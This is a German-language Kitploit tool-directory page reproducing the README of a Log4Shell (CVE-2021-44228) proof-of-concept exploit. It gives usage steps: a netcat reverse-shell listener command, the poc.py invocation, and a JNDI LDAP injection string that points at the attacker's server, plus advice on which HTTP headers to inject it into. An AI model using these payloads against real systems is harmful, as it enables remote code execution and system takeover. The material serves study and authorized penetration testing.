Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
log4j-shell-poc — Ein Proof-of-Concept für die Schwachstelle CVE-2021-44228. | Kitploit
Tools/GitHubGitHub/jiahong-guan/log4j-shell-poc
Payload-GenerierungExploitationWebanwendungs-ExploitationPenetrationstestsRed TeamingPayload-Entwicklung
GitHubjiahong-guan/log4j-shell-poc

log4j-shell-poc

Ein Proof-of-Concept für die Schwachstelle CVE-2021-44228.

Repository anzeigen
16vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

log4shell-poc (CVE-2021-44228)

Proof-of-Concept-Exploit für die Log4j-Sicherheitslücke (CVE-2021-44228), auch bekannt als Log4Shell. Dieses Tool generiert eine bösartige Java-Klasse, startet einen LDAP-Referral-Server und stellt das Payload über HTTP bereit, wodurch ein entfernter Angreifer beliebige Befehle auf einem verwundbaren Ziel ausführen kann.

Features

  • Automatische Erkennung der lokalen IPv4-Adresse als Standard-Bind-IP.
  • Unterstützung für gebündeltes JDK 1.8.0_20 (empfohlen) mit Fallback auf das systemeigene Java.
  • Inline-Reverse-Shell-Payload (verbindet sich zurück zu einem Netcat-Listener).
  • Saubere Kompilierung und Bereinigung generierter Dateien.

Voraussetzungen

  • Python 3.6 oder höher
  • Die folgenden Dateien/Verzeichnisse müssen sich im selben Ordner wie poc.py befinden:
    • jdk1.8.0_20/ – eine Kopie des Oracle JDK 1.8.0_20 (enthält bin/javac und bin/java). Falls nicht vorhanden, versucht das Skript, die systemeigenen javac- und -Befehle zu verwenden.
java
  • target/marshalsec-0.0.3-SNAPSHOT-all.jar – die Marshalsec-JAR-Datei, die zum Starten des LDAP-Servers verwendet wird.
  • Installation

    1. Klonen Sie dieses Repository oder laden Sie es herunter.
    2. Platzieren Sie den Ordner jdk1.8.0_20 und die marshalsec-JAR wie oben beschrieben.
    3. Installieren Sie die Python-Abhängigkeiten:
      root@kitploit:~
      pip install -r requirements.txt
      

    Verwendung

    Führen Sie das Skript mit Python aus:

    root@kitploit:~
    python3 poc.py [OPTIONS]
    

    Befehlszeilenargumente

    ArgumentTypStandardBeschreibung
    --useripstringautomatisch erkannte IPv4IP-Adresse, an die sich die LDAP- und HTTP-Server binden und die sie bewerben. Diese muss vom Zielsystem aus erreichbar sein.
    --webportinteger8000Port für den HTTP-Server, der die kompilierte Exploit.class ausliefert.
    --lportinteger9001Port, an dem Ihr Netcat-Listener auf die Reverse-Shell wartet. Das Payload verbindet sich zurück zu userip:lport.

    Beispiel

    1. Starten Sie einen Netcat-Listener auf Ihrem Angreifer-System (ersetzen Sie 9001 durch den von Ihnen gewählten Port):

      root@kitploit:~
      nc -lvnp 9001
      
    2. Führen Sie den Exploit aus:

      root@kitploit:~
      python3 poc.py --userip 192.168.1.10 --webport 8080 --lport 9001
      

      Wenn Sie --userip weglassen, verwendet das Skript automatisch die primäre IPv4-Adresse Ihres Systems.

    3. Das Skript zeigt eine Payload-Zeichenkette an, die in das verwundbare Ziel injiziert werden kann, zum Beispiel:

      root@kitploit:~
      ${jndi:ldap://192.168.1.10:1389/a}
      
    4. Injizieren Sie diese Zeichenkette in ein beliebiges Eingabefeld oder einen HTTP-Header, der von einer verwundbaren Log4j-Instanz protokolliert wird (z. B. User-Agent, X-Forwarded-For usw.). Das Ziel verbindet sich mit dem LDAP-Server, ruft die bösartige Klasse vom HTTP-Server ab und führt die Reverse-Shell aus.

    5. Sie sollten eine Shell-Verbindung in Ihrem Netcat-Listener sehen.

    So funktioniert es

    1. Das Skript generiert Exploit.java, das Code zum Öffnen einer Reverse-Shell zu userip:lport enthält.
    2. Es kompiliert die Datei mit dem bereitgestellten JDK (oder dem systemeigenen javac).
    3. Es startet einen LDAP-Server (über Marshalsec), der auf JNDI-Lookups mit einem Verweis auf den HTTP-Server antwortet.
    4. Es startet einen einfachen HTTP-Server auf webport, um die kompilierte Exploit.class zu hosten.
    5. Wenn ein verwundbares Ziel mit dem injizierten Payload einen JNDI-Lookup durchführt, lädt es die Klasse herunter und führt sie aus, wodurch der Angreifer eine Reverse-Shell erhält.

    Wichtige Hinweise

    • Das Reverse-Shell-Payload verwendet /bin/sh und ist für Unix-ähnliche Zielsysteme gedacht. Für Windows-Ziele müssten Sie den Befehl in Exploit.java anpassen.
    • Das gebündelte JDK 1.8.0_20 wird empfohlen, da neuere Versionen das von diesem Exploit verwendete JNDI-Feature zum Laden entfernter Klassen blockieren können.
    • Stellen Sie sicher, dass Firewalls eingehende Verbindungen auf den angegebenen Ports (webport und lport) erlauben und dass das Ziel Ihr System erreichen kann.

    Bereinigung

    Das Skript entfernt Exploit.java und Exploit.class automatisch, wenn es beendet wird (entweder normal oder nach einem KeyboardInterrupt). Wenn Sie die Dateien zum Debuggen behalten müssen, kommentieren Sie den finally-Block in poc.py aus.

    Haftungsausschluss

    Dieses Tool ist ausschließlich für Bildungszwecke und autorisierte Sicherheitstests gedacht. Die unbefugte Verwendung dieses Exploits gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testgenehmigung haben, ist illegal. Die Autoren sind nicht verantwortlich für Missbrauch oder Schäden, die durch diese Software verursacht werden.

    Danksagungen

    • Original-PoC von kozmer
    • Marshalsec von mbechler
    • Die Log4j-Sicherheitslücke wurde vom Alibaba Cloud Security Team entdeckt.
    Tool herunterladen